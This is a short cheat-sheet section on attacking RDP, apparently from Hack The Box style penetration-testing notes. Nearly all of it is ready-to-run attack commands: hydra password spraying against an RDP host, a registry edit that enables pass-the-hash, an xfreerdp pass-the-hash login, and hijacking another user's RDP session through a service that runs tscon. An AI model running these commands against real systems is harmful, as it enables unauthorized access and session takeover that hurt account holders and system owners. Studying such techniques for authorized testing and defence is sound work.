RDP (3389)

Password Spraying

We pass it a list of users with a single password.
terminal
$ hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Enable PtH over RDP

txt
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
terminal
$ xfreerdp /u:<user> /pth:<hash> /v:<ip>

Impersonate a User

List users.
txt
query user
To successfully impersonate a user without their password, we need SYSTEM privileges and must use the Microsoft tscon.exe binary, which allows connecting to another desktop session by specifying the SESSION ID and session name.

IF WE HAVE ADMIN PRIVILEGES

txt
C:\htb> query user
 USERNAME     SESSIONNAME   ID  STATE   IDLE TIME  LOGON TIME
>juurena      rdp-tcp#13     1  Active          7  8/25/2021 1:23 AM
 lewen        rdp-tcp#14     2  Active          *  8/25/2021 1:28 AM

C:\htb> sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"
Start the sessionhijacking service.
txt
C:\htb> net start sessionhijack